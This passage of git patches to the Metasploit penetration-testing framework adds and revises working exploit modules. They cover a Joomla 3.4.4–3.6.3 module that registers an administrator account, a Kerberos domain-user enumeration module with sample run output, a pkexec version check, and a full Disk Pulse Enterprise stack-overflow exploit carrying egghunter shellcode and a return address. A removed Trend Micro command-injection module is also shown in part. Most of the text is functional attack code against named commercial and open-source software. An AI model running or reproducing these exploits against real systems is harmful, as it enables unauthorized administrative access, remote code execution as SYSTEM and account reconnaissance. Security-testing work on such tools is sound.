"\r\n" - post_data << "-----------------------------#{boundary}" + "\r\n" - post_data << "Content-Disposition: form-data; name=\"#{csrf}\"" + "\r\n\r\n" - post_data << "1" + "\r\n" - post_data << "-----------------------------#{boundary}--" + "\r\n" - - res = send_request_raw( - { - 'uri' => normalize_uri(target_uri.path, 'index.php/component/users/?task=user.register'), - 'method' => 'POST', - 'data' => post_data, - 'headers' => - { - 'Content-Length' => post_data.length, - 'Content-Type' => ctype, - 'Cookie' => cookie - } - } - ) - - if res && res.code == 200 - print_good("PWND - Your user has been created") - print_status("\tUsername: " + datastore['USERNAME']) - print_status("\tPassword: " + datastore['PASSWORD']) - else - if res && res.code == 303 - while res.code == 303 do - redirect = URI(res.headers['Location']).to_s.gsub(/#\//, "") - - res = send_request_cgi({ - 'uri' => redirect, - 'method' => 'GET', - 'headers' => - { - 'Cookie' => cookie - } - }) - end - - errMessage = res.body.match(/class="alert-message">(.*)<\/div>/i).captures[0] - print_error("There was an issue, but the user could have been created.") - print_error("\t" + errMessage) - end - end - end -end diff --git a/modules/auxiliary/admin/http/joomla_registration_privesc.rb b/modules/auxiliary/admin/http/joomla_registration_privesc.rb new file mode 100644 index 0000000000..519b97414f --- /dev/null +++ b/modules/auxiliary/admin/http/joomla_registration_privesc.rb @@ -0,0 +1,119 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'nokogiri' + +class MetasploitModule < Msf::Auxiliary + + include Msf::Auxiliary::Report + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Joomla Account Creation and Privilege Escalation', + 'Description' => %q{ + This module allows to create an arbitrary account with administrative privileges in Joomla versions 3.4.4 + through 3.6.3. If an email server is configured in Joomla, an email will be sent to activate the account (the account is disabled by default). + }, + 'References' => + [ + ['CVE', '2016-8869'], + ['CVE', '2016-8870'], + ['URL', 'https://developer.joomla.org/security-centre/660-20161002-core-elevated-privileges.html'], + ['URL', 'https://developer.joomla.org/security-centre/659-20161001-core-account-creation.html'], + ['URL', 'https://medium.com/@showthread/joomla-3-6-4-account-creation-elevated-privileges-write-up-and-exploit-965d8fb46fa2'] + ], + 'Author' => + [ + 'Fabio Pires ', # module creation and privilege escalation + 'Filipe Reis ', # module creation and privilege escalation + 'Vitor Oliveira ', # module creation and privilege escalation + ], + 'Privileged' => false, + 'Platform' => 'php', + 'Arch' => ARCH_PHP, + 'Targets' => [['Joomla 3.4.4 - 3.6.3', {}]], + 'License' => MSF_LICENSE, + 'DisclosureDate' => 'Oct 25 2016' + )) + + register_options( + [ + OptString.new('TARGETURI', [true, 'The relative URI of the Joomla instance', '/']), + OptString.new('USERNAME', [true, 'Username that will be created', 'expl0it3r']), + OptString.new('PASSWORD', [true, 'Password for the username', 'expl0it3r']), + OptString.new('EMAIL', [true, 'Email to receive the activation code for the account', 'example@youremail.com']) + ], self.class) + deregister_options('VHOST') + end + + def get_csrf(hidden_fields) + hidden_list = hidden_fields + hidden_list.each do |fields| + fields.each do |item| + if item[0].length && item[1] == '1' + return item[0] + end + end + end + end + + def run + print_status("Trying to create the user!") + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'index.php/component/users/'), + 'vars_get' => { + 'view' => 'login' + } + ) + + cookie = res.get_cookies + csrf = get_csrf(res.get_hidden_inputs) + + mime = Rex::MIME::Message.new + mime.add_part(datastore['USERNAME'], nil, nil, 'form-data; name="user[name]"') + mime.add_part(datastore['USERNAME'], nil, nil, 'form-data; name="user[username]"') + mime.add_part('7', nil, nil, 'form-data; name="user[groups][]"') + mime.add_part(datastore['PASSWORD'], nil, nil, 'form-data; name="user[password1]"') + mime.add_part(datastore['PASSWORD'] , nil, nil, 'form-data; name="user[password2]"') + mime.add_part(datastore['EMAIL'], nil, nil, 'form-data; name="user[email1]"') + mime.add_part(datastore['EMAIL'], nil, nil, 'form-data; name="user[email2]"') + mime.add_part('com_users', nil, nil, 'form-data; name="option"') + mime.add_part('user.register', nil, nil, 'form-data; name="task"') + mime.add_part('1', nil, nil, 'form-data; name="' + csrf +'"') + + res = send_request_cgi( + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'index.php/component/users/'), + 'cookie' => cookie, + 'ctype' => "multipart/form-data; boundary=#{mime.bound}", + 'data' => mime.to_s + ) + + if res && res.code == 200 + print_good("PWND - Your user has been created") + print_status("\tUsername: " + datastore['USERNAME']) + print_status("\tPassword: " + datastore['PASSWORD']) + elsif res && res.code == 303 + while res && res.code == 303 do + res = send_request_cgi( + 'uri' => res.redirection.to_s, + 'method' => 'GET', + 'cookie' => cookie + ) + end + + print_error("There was an issue, but the user could have been created.") + + parsed_data = Nokogiri::HTML.parse res.body + parsed_data.xpath('//div[@class="alert-message"]').each do |alert_msg| + print_error("\t" + alert_msg.text) + end + else + print_error("This host may not be vulnerable.") + end + end +end From e522d7f5a46e85527245f806286c7a2f62bbc951 Mon Sep 17 00:00:00 2001 From: Filipe Reis Date: Thu, 27 Oct 2016 02:50:20 +0100 Subject: [PATCH 042/157] Fixing issues regarding travis checks Fix: EOL spaces; --- .../admin/http/joomla_registration_privesc.rb | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/modules/auxiliary/admin/http/joomla_registration_privesc.rb b/modules/auxiliary/admin/http/joomla_registration_privesc.rb index 519b97414f..245b79b0ba 100644 --- a/modules/auxiliary/admin/http/joomla_registration_privesc.rb +++ b/modules/auxiliary/admin/http/joomla_registration_privesc.rb @@ -76,9 +76,9 @@ class MetasploitModule < Msf::Auxiliary mime = Rex::MIME::Message.new mime.add_part(datastore['USERNAME'], nil, nil, 'form-data; name="user[name]"') mime.add_part(datastore['USERNAME'], nil, nil, 'form-data; name="user[username]"') - mime.add_part('7', nil, nil, 'form-data; name="user[groups][]"') - mime.add_part(datastore['PASSWORD'], nil, nil, 'form-data; name="user[password1]"') - mime.add_part(datastore['PASSWORD'] , nil, nil, 'form-data; name="user[password2]"') + mime.add_part('7', nil, nil, 'form-data; name="user[groups][]"') + mime.add_part(datastore['PASSWORD'], nil, nil, 'form-data; name="user[password1]"') + mime.add_part(datastore['PASSWORD'] , nil, nil, 'form-data; name="user[password2]"') mime.add_part(datastore['EMAIL'], nil, nil, 'form-data; name="user[email1]"') mime.add_part(datastore['EMAIL'], nil, nil, 'form-data; name="user[email2]"') mime.add_part('com_users', nil, nil, 'form-data; name="option"') @@ -92,7 +92,7 @@ class MetasploitModule < Msf::Auxiliary 'ctype' => "multipart/form-data; boundary=#{mime.bound}", 'data' => mime.to_s ) - + if res && res.code == 200 print_good("PWND - Your user has been created") print_status("\tUsername: " + datastore['USERNAME']) @@ -107,7 +107,7 @@ class MetasploitModule < Msf::Auxiliary end print_error("There was an issue, but the user could have been created.") - + parsed_data = Nokogiri::HTML.parse res.body parsed_data.xpath('//div[@class="alert-message"]').each do |alert_msg| print_error("\t" + alert_msg.text) From 2851faefe82e4c64c819288b7e90f0b496c7b858 Mon Sep 17 00:00:00 2001 From: Filipe Reis Date: Thu, 27 Oct 2016 03:11:38 +0100 Subject: [PATCH 043/157] Update module info Fix: removed info that didn't belong --- modules/auxiliary/admin/http/joomla_registration_privesc.rb | 3 --- 1 file changed, 3 deletions(-) diff --git a/modules/auxiliary/admin/http/joomla_registration_privesc.rb b/modules/auxiliary/admin/http/joomla_registration_privesc.rb index 245b79b0ba..7f864e41ba 100644 --- a/modules/auxiliary/admin/http/joomla_registration_privesc.rb +++ b/modules/auxiliary/admin/http/joomla_registration_privesc.rb @@ -32,9 +32,6 @@ class MetasploitModule < Msf::Auxiliary 'Filipe Reis ', # module creation and privilege escalation 'Vitor Oliveira ', # module creation and privilege escalation ], - 'Privileged' => false, - 'Platform' => 'php', - 'Arch' => ARCH_PHP, 'Targets' => [['Joomla 3.4.4 - 3.6.3', {}]], 'License' => MSF_LICENSE, 'DisclosureDate' => 'Oct 25 2016' From 2ac54f50284f179f099d45610627e5b90807210c Mon Sep 17 00:00:00 2001 From: "Julien (jvoisin) Voisin" Date: Thu, 27 Oct 2016 10:27:51 +0200 Subject: [PATCH 044/157] Add a check for the linux pkexec module --- modules/exploits/linux/local/pkexec.rb | 14 ++++++++++++++ 1 file changed, 14 insertions(+) diff --git a/modules/exploits/linux/local/pkexec.rb b/modules/exploits/linux/local/pkexec.rb index fef8cf0a34..1c36388e31 100644 --- a/modules/exploits/linux/local/pkexec.rb +++ b/modules/exploits/linux/local/pkexec.rb @@ -66,6 +66,20 @@ class MetasploitModule < Msf::Exploit::Local @executable_path end + def check + version = cmd_exec('pkexec --version') + if version.nil? + print_error "Policykit is not installed" + return CheckCode::Safe + end + + if version.split('.')[1].to_f <= 0.101 + return CheckCode::Vulnerable + end + + CheckCode::Unknown + end + def exploit main = %q^ /* From d9f07183bd322722b1267c4195f08224dbd13e48 Mon Sep 17 00:00:00 2001 From: "Julien (jvoisin) Voisin" Date: Thu, 27 Oct 2016 12:18:09 +0200 Subject: [PATCH 045/157] Please h00die ;) --- modules/exploits/linux/local/pkexec.rb | 22 +++++++++++----------- 1 file changed, 11 insertions(+), 11 deletions(-) diff --git a/modules/exploits/linux/local/pkexec.rb b/modules/exploits/linux/local/pkexec.rb index 1c36388e31..eabbc5d2d6 100644 --- a/modules/exploits/linux/local/pkexec.rb +++ b/modules/exploits/linux/local/pkexec.rb @@ -66,19 +66,19 @@ class MetasploitModule < Msf::Exploit::Local @executable_path end - def check - version = cmd_exec('pkexec --version') - if version.nil? - print_error "Policykit is not installed" - return CheckCode::Safe - end + def check + version = cmd_exec('pkexec --version') + if version.nil? + print_error "Policykit is not installed" + return CheckCode::Safe + end - if version.split('.')[1].to_f <= 0.101 - return CheckCode::Vulnerable - end + if Gem::Version.new(version.split('.')[1]) <= 0.101 + return CheckCode::Appears + end - CheckCode::Unknown - end + CheckCode::Unknown + end def exploit main = %q^ From 23ab4f1fc11185b4a584c907db0efb082c3f6672 Mon Sep 17 00:00:00 2001 From: "Julien (jvoisin) Voisin" Date: Thu, 27 Oct 2016 12:32:40 +0200 Subject: [PATCH 046/157] Remove one last tab --- modules/exploits/linux/local/pkexec.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/linux/local/pkexec.rb b/modules/exploits/linux/local/pkexec.rb index eabbc5d2d6..6c9f71bb76 100644 --- a/modules/exploits/linux/local/pkexec.rb +++ b/modules/exploits/linux/local/pkexec.rb @@ -69,7 +69,7 @@ class MetasploitModule < Msf::Exploit::Local def check version = cmd_exec('pkexec --version') if version.nil? - print_error "Policykit is not installed" + print_error "Policykit is not installed" return CheckCode::Safe end From 88beea0c5679ee7e357c5da80195a58065ed2ced Mon Sep 17 00:00:00 2001 From: Filipe Reis Date: Thu, 27 Oct 2016 14:30:59 +0100 Subject: [PATCH 047/157] updating code Fix: changing to seggested fixes --- .../admin/http/joomla_registration_privesc.rb | 38 +++++++++---------- 1 file changed, 17 insertions(+), 21 deletions(-) diff --git a/modules/auxiliary/admin/http/joomla_registration_privesc.rb b/modules/auxiliary/admin/http/joomla_registration_privesc.rb index 7f864e41ba..79c4af219f 100644 --- a/modules/auxiliary/admin/http/joomla_registration_privesc.rb +++ b/modules/auxiliary/admin/http/joomla_registration_privesc.rb @@ -3,13 +3,9 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'nokogiri' - class MetasploitModule < Msf::Auxiliary - include Msf::Auxiliary::Report - include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Remote::HTTP::Joomla def initialize(info = {}) super(update_info(info, @@ -32,7 +28,6 @@ class MetasploitModule < Msf::Auxiliary 'Filipe Reis ', # module creation and privilege escalation 'Vitor Oliveira ', # module creation and privilege escalation ], - 'Targets' => [['Joomla 3.4.4 - 3.6.3', {}]], 'License' => MSF_LICENSE, 'DisclosureDate' => 'Oct 25 2016' )) @@ -43,15 +38,16 @@ class MetasploitModule < Msf::Auxiliary OptString.new('USERNAME', [true, 'Username that will be created', 'expl0it3r']), OptString.new('PASSWORD', [true, 'Password for the username', 'expl0it3r']), OptString.new('EMAIL', [true, 'Email to receive the activation code for the account', 'example@youremail.com']) - ], self.class) - deregister_options('VHOST') + ] + ) + deregister_options('VHOST') end def get_csrf(hidden_fields) hidden_list = hidden_fields hidden_list.each do |fields| fields.each do |item| - if item[0].length && item[1] == '1' + if item[0].length == 32 && item[1] == '1' return item[0] end end @@ -95,20 +91,20 @@ class MetasploitModule < Msf::Auxiliary print_status("\tUsername: " + datastore['USERNAME']) print_status("\tPassword: " + datastore['PASSWORD']) elsif res && res.code == 303 - while res && res.code == 303 do - res = send_request_cgi( - 'uri' => res.redirection.to_s, - 'method' => 'GET', - 'cookie' => cookie - ) - end + while res && res.code == 303 do + res = send_request_cgi( + 'uri' => res.redirection.to_s, + 'method' => 'GET', + 'cookie' => cookie + ) + end - print_error("There was an issue, but the user could have been created.") + print_error("There was an issue, but the user could have been created.") - parsed_data = Nokogiri::HTML.parse res.body - parsed_data.xpath('//div[@class="alert-message"]').each do |alert_msg| - print_error("\t" + alert_msg.text) - end + parsed_data = res.get_html_document + parsed_data.xpath('//div[@class="alert-message"]').each do |alert_msg| + print_error("\t" + alert_msg.text) + end else print_error("This host may not be vulnerable.") end From c2af2ab2141029cdd779f153ddee10912a8e11fc Mon Sep 17 00:00:00 2001 From: attackdebris Date: Thu, 27 Oct 2016 19:11:22 +0100 Subject: [PATCH 048/157] Move kerberos_enumusers module to aux/gather & add documentation --- .../auxiliary/gather/kerberos_enumusers.md | 99 +++++++++++++++++++ .../kerberos => gather}/kerberos_enumusers.rb | 0 2 files changed, 99 insertions(+) create mode 100644 documentation/modules/auxiliary/gather/kerberos_enumusers.md rename modules/auxiliary/{scanner/kerberos => gather}/kerberos_enumusers.rb (100%) diff --git a/documentation/modules/auxiliary/gather/kerberos_enumusers.md b/documentation/modules/auxiliary/gather/kerberos_enumusers.md new file mode 100644 index 0000000000..25066ce277 --- /dev/null +++ b/documentation/modules/auxiliary/gather/kerberos_enumusers.md @@ -0,0 +1,99 @@ +The kerberos_enumusers module is used to enumerate valid Domain Users +via Kerberos from a wholly unauthenticated perspective. It utilises the +different responses returned by the service to identify users that exist +within the target domain. It is also able to identify whether user +accounts are enabled or disabled/locked out. + +## Target + +To use kerberos_enumusers, make sure you are able to connect to the +Kerberos service on a Domain Controller. + +## Scenario + +The following demonstrates basic usage, using a custom wordlist, +targeting a single Domain Controller to identify valid domain user +accounts. + +``` +msf > use auxiliary/gather/kerberos_enumusers +msf auxiliary(kerberos_enumusers) > set DOMAIN MYDOMAIN +DOMAIN => MYDOMAIN +msf auxiliary(kerberos_enumusers) > set RHOST 192.168.5.1 +RHOST => 192.168.5.1 +msf auxiliary(kerberos_enumusers) > set USER_FILE /job/users.txt +USER_FILE => /job/users.txt +msf auxiliary(kerberos_enumusers) > run + +[*] Validating options... +[*] Using domain: MYDOMAIN... +[*] 192.168.5.1:88 - Testing User: "bob"... +[*] 192.168.5.1:88 - KDC_ERR_PREAUTH_REQUIRED - Additional +pre-authentication required +[+] 192.168.5.1:88 - User: "bob" is present +[*] 192.168.5.1:88 - Testing User: "alice"... +[*] 192.168.5.1:88 - KDC_ERR_PREAUTH_REQUIRED - Additional +pre-authentication required +[+] 192.168.5.1:88 - User: "alice" is present +[*] 192.168.5.1:88 - Testing User: "matt"... +[*] 192.168.5.1:88 - KDC_ERR_PREAUTH_REQUIRED - Additional +pre-authentication required +[+] 192.168.5.1:88 - User: "matt" is present +[*] 192.168.5.1:88 - Testing User: "guest"... +[*] 192.168.5.1:88 - KDC_ERR_CLIENT_REVOKED - Clients credentials have +been revoked +[-] 192.168.5.1:88 - User: "guest" account disabled or locked out +[*] 192.168.5.1:88 - Testing User: "admint"... +[*] 192.168.5.1:88 - KDC_ERR_C_PRINCIPAL_UNKNOWN - Client not found in +Kerberos database +[*] 192.168.5.1:88 - User: "admint" does not exist +[*] 192.168.5.1:88 - Testing User: "admin"... +[*] 192.168.5.1:88 - KDC_ERR_C_PRINCIPAL_UNKNOWN - Client not found in +Kerberos database +[*] 192.168.5.1:88 - User: "admin" does not exist +[*] 192.168.5.1:88 - Testing User: "administrator"... +[*] 192.168.5.1:88 - KDC_ERR_C_PRINCIPAL_UNKNOWN - Client not found in +Kerberos database +[*] 192.168.5.1:88 - User: "administrator" does not exist +[*] Auxiliary module execution completed +msf auxiliary(kerberos_enumusers) > +``` + +## Options + +The kerberos_enumusers module only requires the RHOST, DOMAIN and +USER_FILE options to run. + +**The DOMAIN option** + +This option is used to specify the target domain. If the domain name is +incorrect an error is returned and domain user account enumeration will fail. + +An example of setting DOMAIN: + +``` +set DOMAIN [domain name] +``` + +**The USER_FILE option** + +This option is used to specify the file containing a list of user names +to query the Domain Controller to identify if they exist in the target domain +or not. One per line. + +An example of setting USER_FILE: + +``` +set USER_FILE [path to file] +``` + +**The Timeout option** + +This option is used to specify the TCP timeout i.e. the time to wait +before a connection to the Domain Controller is established and data read. + +An example of setting Timeout: + +``` +set Timeout [value in seconds] +``` diff --git a/modules/auxiliary/scanner/kerberos/kerberos_enumusers.rb b/modules/auxiliary/gather/kerberos_enumusers.rb similarity index 100% rename from modules/auxiliary/scanner/kerberos/kerberos_enumusers.rb rename to modules/auxiliary/gather/kerberos_enumusers.rb From 9eaaba1dea1bd7ef073789a55274f8814fc781d3 Mon Sep 17 00:00:00 2001 From: Brendan Date: Thu, 27 Oct 2016 15:50:17 -0500 Subject: [PATCH 049/157] Added user logging into the db and humored rubocop --- .../auxiliary/gather/kerberos_enumusers.rb | 74 ++++++++++++++----- 1 file changed, 54 insertions(+), 20 deletions(-) diff --git a/modules/auxiliary/gather/kerberos_enumusers.rb b/modules/auxiliary/gather/kerberos_enumusers.rb index 8b971ffa33..d8fa682667 100644 --- a/modules/auxiliary/gather/kerberos_enumusers.rb +++ b/modules/auxiliary/gather/kerberos_enumusers.rb @@ -7,47 +7,52 @@ require 'msf/core' require 'rex' class MetasploitModule < Msf::Auxiliary - include Msf::Auxiliary::Report include Msf::Exploit::Remote::Kerberos::Client def initialize(info = {}) super(update_info(info, 'Name' => 'Kerberos Domain User Enumeration', - 'Description' => %q{ + 'Description' => %q( This module will enumerate valid Domain Users via Kerberos from an unauthenticated perspective. It utilises the different responses returned by the service for valid and invalid users. - }, + ), 'Author' => [ 'Matt Byrne ' # Metasploit module ], 'References' => [ - [ 'URL', 'https://nmap.org/nsedoc/scripts/krb5-enum-users.html'], + [ 'URL', 'https://nmap.org/nsedoc/scripts/krb5-enum-users.html'] ], - 'License' => MSF_LICENSE, - )) + 'License' => MSF_LICENSE + ) + ) register_options( [ OptString.new('DOMAIN', [ true, 'The Domain Eg: demo.local' ]), OptPath.new( 'USER_FILE', - [true, 'Files containing usernames, one per line', nil]) - ], self.class) + [true, 'Files containing usernames, one per line', nil] + ) + ], + self.class + ) end + def user_list users = nil if File.readable? datastore['USER_FILE'] users = File.new(datastore['USER_FILE']).read.split - users.each {|u| u.downcase!} + users.each { |u| u.downcase! } users.uniq! else raise ArgumentError, "Cannot read file #{datastore['USER_FILE']}" - end + end users end + def run print_status("Validating options...") @@ -67,23 +72,52 @@ class MetasploitModule < Msf::Auxiliary server_name: "krbtgt/#{domain}", realm: "#{domain}", pa_data: pre_auth - ) - print_status("#{peer} - #{warn_error(res)}") if res.msg_type == Rex::Proto::Kerberos::Model::KRB_ERROR - test = Rex::Proto::Kerberos::Model::ERROR_CODES[res.error_code] - if test == ["KDC_ERR_PREAUTH_REQUIRED", "Additional pre-authentication required"] - print_good("#{peer} - User: \"#{user}\" is present") - elsif test == ["KDC_ERR_CLIENT_REVOKED", "Clients credentials have been revoked"] - print_error("#{peer} - User: \"#{user}\" account disabled or locked out") - else - print_status("#{peer} - User: \"#{user}\" does not exist") + ) + print_status("#{peer} - #{warn_error(res)}") if res.msg_type == Rex::Proto::Kerberos::Model::KRB_ERROR + test = Rex::Proto::Kerberos::Model::ERROR_CODES[res.error_code] + if test == ["KDC_ERR_PREAUTH_REQUIRED", "Additional pre-authentication required"] + print_good("#{peer} - User: \"#{user}\" is present") + report_cred( + host: datastore['RHOST'], + port: rport, + creds_name: 'Active Directory', + user: user + ) + elsif test == ["KDC_ERR_CLIENT_REVOKED", "Clients credentials have been revoked"] + print_error("#{peer} - User: \"#{user}\" account disabled or locked out") + else + print_status("#{peer} - User: \"#{user}\" does not exist") + end end end + + def report_cred(opts) + service_data = { + address: opts[:host], + port: opts[:port], + protocol: 'udp', + workspace_id: myworkspace.id, + service_name: opts[:creds_name] + } + + credential_data = { + username: opts[:user], + origin_type: :service, + module_fullname: self.fullname + }.merge(service_data) + + login_data = { + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::UNTRIED + }.merge(service_data) + + create_credential_login(login_data) end def warn_error(res) msg = '' - if Rex::Proto::Kerberos::Model::ERROR_CODES.has_key?(res.error_code) + if Rex::Proto::Kerberos::Model::ERROR_CODES.key?(res.error_code) error_info = Rex::Proto::Kerberos::Model::ERROR_CODES[res.error_code] msg = "#{error_info[0]} - #{error_info[1]}" else From c1536864657e54a8fd0a1fb2ba110fb5a2546f81 Mon Sep 17 00:00:00 2001 From: Chris Higgins Date: Thu, 27 Oct 2016 21:49:17 -0500 Subject: [PATCH 050/157] Added Disk Pulse Enterprise Login Buffer Overflow --- .../windows/http/disk_pulse_enterprise_bof.rb | 120 ++++++++++++++++++ 1 file changed, 120 insertions(+) create mode 100644 modules/exploits/windows/http/disk_pulse_enterprise_bof.rb diff --git a/modules/exploits/windows/http/disk_pulse_enterprise_bof.rb b/modules/exploits/windows/http/disk_pulse_enterprise_bof.rb new file mode 100644 index 0000000000..f0bba414b9 --- /dev/null +++ b/modules/exploits/windows/http/disk_pulse_enterprise_bof.rb @@ -0,0 +1,120 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Remote::Egghunter + include Msf::Exploit::Remote::Seh + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Disk Pulse Enterprise Login Buffer Overflow', + 'Description' => %q{ + This module exploits a stack buffer overflow in Disk Pulse Enterprise + 9.0.34. If a malicious user sends a malicious HTTP login request, + it is possible to execute a payload that would run under the Windows + NT AUTHORITY\SYSTEM account. Due to size constraints, this module + uses the Egghunter technique. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Chris Higgins', # msf Module -- @ch1gg1ns + 'Tulpa Security' # Original discovery -- @tulpa_security + ], + 'References' => + [ + [ 'EDB', '40452' ] + ], + 'DefaultOptions' => + { + 'EXITFUNC' => 'thread' + }, + 'Platform' => 'win', + 'Payload' => + { + 'BadChars' => "\x00\x0a\x0d\x26" + }, + 'Targets' => + [ + [ 'Disk Pulse Enterprise 9.0.34', + { + 'Ret' => 0x10013AAA, # pop ebp # pop ebx # ret 0x04 - libspp.dll + 'Offset' => 12600 + } + ], + ], + 'Privileged' => true, + 'DisclosureDate' => 'Oct 03 2016', + 'DefaultTarget' => 0)) + + register_options([Opt::RPORT(80)], self.class) + + end + + def check + res = send_request_cgi({ + 'uri' => '/', + 'method' => 'GET' + }) + + if res and res.code == 200 and res.body =~ /Disk Pulse Enterprise v9\.0\.34/ + return Exploit::CheckCode::Appears + end + + return Exploit::CheckCode::Safe + end + + def exploit + connect + eggoptions = + { + :checksum => true, + :eggtag => "w00t" + } + + print_status("Generating exploit...") + + sploit = "username=admin" + sploit << "&password=aaaaa\r\n" + + # Would like to use generate_egghunter(), looking for improvement + egghunter = "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74" + egghunter += "\xef\xb8\x77\x30\x30\x74\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7" + + sploit << rand_text(target['Offset'] - payload.encoded.length) + sploit << "w00tw00t" + sploit << payload.encoded + sploit << make_nops(70) + sploit << rand_text(1614) + # Would like to use generate_seh_record(), looking for improvement + sploit << "\x90\x90\xEB\x0B" + sploit << "\x33\xA3\x01\x10" + sploit << make_nops(20) + sploit << egghunter + sploit << make_nops(7000) + + # Total exploit size should be 21747 + print_status("Total exploit size: " + sploit.length.to_s) + print_status("Triggering the exploit now...") + print_status("Please be patient, the egghunter may take a while...") + + res = send_request_cgi({ + 'uri' => '/login', + 'method' => 'POST', + 'content-type' => 'application/x-www-form-urlencoded', + 'content-length' => '17000', + 'data' => sploit + }) + + handler + disconnect + + end +end From 88a2a770a311eb34d610b65063faa4e3399a67dc Mon Sep 17 00:00:00 2001 From: Filipe Reis Date: Fri, 28 Oct 2016 11:24:39 +0100 Subject: [PATCH 051/157] Update to have checks in place Add: added checks to the code --- .../admin/http/joomla_registration_privesc.rb | 48 +++++++++++++++++-- 1 file changed, 44 insertions(+), 4 deletions(-) diff --git a/modules/auxiliary/admin/http/joomla_registration_privesc.rb b/modules/auxiliary/admin/http/joomla_registration_privesc.rb index 79c4af219f..831268b3c8 100644 --- a/modules/auxiliary/admin/http/joomla_registration_privesc.rb +++ b/modules/auxiliary/admin/http/joomla_registration_privesc.rb @@ -37,10 +37,33 @@ class MetasploitModule < Msf::Auxiliary OptString.new('TARGETURI', [true, 'The relative URI of the Joomla instance', '/']), OptString.new('USERNAME', [true, 'Username that will be created', 'expl0it3r']), OptString.new('PASSWORD', [true, 'Password for the username', 'expl0it3r']), - OptString.new('EMAIL', [true, 'Email to receive the activation code for the account', 'example@youremail.com']) + OptString.new('EMAIL', [true, 'Email to receive the activation code for the account', 'example@youremail.com']), + OptString.new('FORCE', [true, 'Force bypass checks', 'false']) ] ) - deregister_options('VHOST') + end + + def check + res = send_request_cgi({'uri' => target_uri.path }) + + unless res + print_error("Connection timed out") + return Exploit::CheckCode::Unknown + end + + online = joomla_and_online? + unless online + print_error("Unable to detect joomla on #{target_uri.path}") + return Exploit::CheckCode::Safe + end + + version = Gem::Version.new(joomla_version) + unless version.nil? + print_status("Detected Joomla version #{joomla_version}") + return Exploit::CheckCode::Appears if version >= Gem::Version.new('3.4.4') && version <= Gem::Version.new('3.6.3') + end + + return Exploit::CheckCode::Detected if online end def get_csrf(hidden_fields) @@ -55,6 +78,13 @@ class MetasploitModule < Msf::Auxiliary end def run + if datastore['FORCE'] == 'false' + if check == Exploit::CheckCode::Safe + print_error('Target seems safe, so we will not continue!') + return + end + end + print_status("Trying to create the user!") res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'index.php/component/users/'), @@ -63,8 +93,18 @@ class MetasploitModule < Msf::Auxiliary } ) - cookie = res.get_cookies - csrf = get_csrf(res.get_hidden_inputs) + if res && res.code == 200 + cookie = res.get_cookies + csrf = get_csrf(res.get_hidden_inputs) + + if csrf.length != 32 && cookie.split(/=/).length != 2 + print_error('Could not find csrf or cookie!') + return + end + else + print_error('Could not find Login Page!') + return + end mime = Rex::MIME::Message.new mime.add_part(datastore['USERNAME'], nil, nil, 'form-data; name="user[name]"') From c7b775ac1c2584bb99321414a9140d80ba0f6241 Mon Sep 17 00:00:00 2001 From: Quentin Kaiser Date: Fri, 28 Oct 2016 18:03:56 +0000 Subject: [PATCH 052/157] Fix detection following @bwatters-r7 recommendations. Remove safesync exploit that shouldn't be here. --- .../linux/http/trendmicro_safesync_exec.rb | 137 ------------------ .../linux/http/trendmicro_sps_exec.rb | 2 +- 2 files changed, 1 insertion(+), 138 deletions(-) delete mode 100644 modules/exploits/linux/http/trendmicro_safesync_exec.rb diff --git a/modules/exploits/linux/http/trendmicro_safesync_exec.rb b/modules/exploits/linux/http/trendmicro_safesync_exec.rb deleted file mode 100644 index f20f676392..0000000000 --- a/modules/exploits/linux/http/trendmicro_safesync_exec.rb +++ /dev/null @@ -1,137 +0,0 @@ -## -# This module requires Metasploit: http://metasploit.com/download -# Current source: https://github.com/rapid7/metasploit-framework -## - -require 'msf/core' -require 'openssl' -require 'base64' - -class MetasploitModule < Msf::Exploit::Remote - Rank = ExcellentRanking - - include Msf::Exploit::Remote::HttpClient - include Msf::Exploit::CmdStager - - def initialize(info={}) - super(update_info(info, - 'Name' => "Trend Micro SafeSync for Business Exec Remote Code Injection", - 'Description' => %q{ - This module exploits a vulnerability found in Trend Micro Safe Sync where an untrusted input is fed to ad_changed_sync.py, leading to command injection. - Please note: authentication is required to exploit this vulnerability. - }, - 'License' => MSF_LICENSE, - 'Author' => - [ - 'Quentin Kaiser ' - ], - 'References' => - [ - ], - 'Platform' => 'linux', - 'Targets' => [ [ 'Linux', {} ] ], - 'Payload' => { 'BadChars' => "\x00" }, - 'CmdStagerFlavor' => [ 'bourne' ], - 'Privileged' => false, - 'DefaultOptions' => - { - 'SSL' => true - }, - 'DisclosureDate' => "Sep 6 2016", - 'DefaultTarget' => 0)) - - register_options( - [ - OptString.new('TARGETURI', [true, 'The path to some web application', '/']), - OptBool.new('SSL', [ true, 'Use SSL', true ]), - OptAddress.new("LHOST", [true, "The local host for the exploits and handlers", Rex::Socket.source_address]), - OptPort.new('LPORT', [true, "The port SPS will connect back to ", 4444 ]), - OptString.new('ADMINACCOUNT', [true, 'Name of the SPS admin account', 'admin']), - OptString.new('ADMINPASS', [true, 'Password of the SPS admin account', 'admin']), - ], self.class) - end - - def check - opts = login - if opts - uri = target_uri.path - res = send_request_cgi({ - 'method' => 'GET', - 'uri' => normalize_uri(uri, "api", "system", "version"), - 'headers'=> - { - 'Cookie' => "mgmtui_session=#{opts['mgmtui_session']}", - 'Referer' => "https://#{datastore['RHOST']}:#{datastore['RPORT']}/login.php", - 'Origin' => "https://#{datastore['RHOST']}:#{datastore['RPORT']}", - 